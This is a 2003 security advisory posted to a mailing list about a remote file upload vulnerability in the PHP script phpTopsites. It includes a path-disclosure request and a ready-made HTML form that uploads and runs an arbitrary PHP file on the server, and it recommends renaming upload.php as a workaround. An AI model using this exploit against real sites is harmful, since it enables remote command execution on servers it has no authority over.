[UNIX] phpTopsites Remote File Upload Vulnerability

From: support@securiteam.com
Date: 01/30/03 

From: support@securiteam.com
To: list@securiteam.com
Date: 30 Jan 2003 19:24:01 +0200

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  phpTopsites Remote File Upload Vulnerability
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SUMMARY

 <http://destiney.com/2003/phptopsites/> phpTopsites is a Server Side
Script written in PHP that allows one to run a very efficient "Topsites"
as your own hit gathering web site. A "Topsite" can stand to gather many
hits if used effectively. phpTopsites uses MySQL for it's Database Engine.
MySQL is quickly becoming the most popular and most powerful database
entity in use. A vulnerability in the product allows remote attackers to
upload arbitrary files and then cause them to execute, causing execution
of arbitrary commands.

DETAILS

In the root directory of phpTopsites, there is a file called upload.php.
This file is supposed to be for the administrator's usage, i.e. to upload
banners to the server. By doing the following, an attacker may upload
remote arbitrary files to the server and gain web server permissions to
the server.

First of all the attacker needs to find the website's path, so he/she
calls create.php with variable Category set to '. This usually returns a
PHP error disclosing the path:
http://victim/phpTopsites/create.php?Category='

Should cause:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /home/website/public_html/phpTopsites/out.php on line
19

From here, the attacker may begin the upload process by creating the
following html file and running it:
< form method="post" enctype="multipart/form-data"
action="http://victim/phpTopsites/upload.php">
< input name="banner" type="file">
< input type="submit" name="submit" value="Send File">
< input type=hidden name="banner_path"
value="/home/website/public_html/phpTopsites">
< input type=hidden name="ID" value="hacked">
< input type=hidden name="upload" value="w00t">
< input type=hidden name="filetype" value="php">
< /form>

Solution:
Please check the vendor's website for new patches. As a temporary
solution, rename upload.php to upload.php.bak

ADDITIONAL INFORMATION

The information has been provided by <mailto:mindwarper@hush.com>
Mindwarper.

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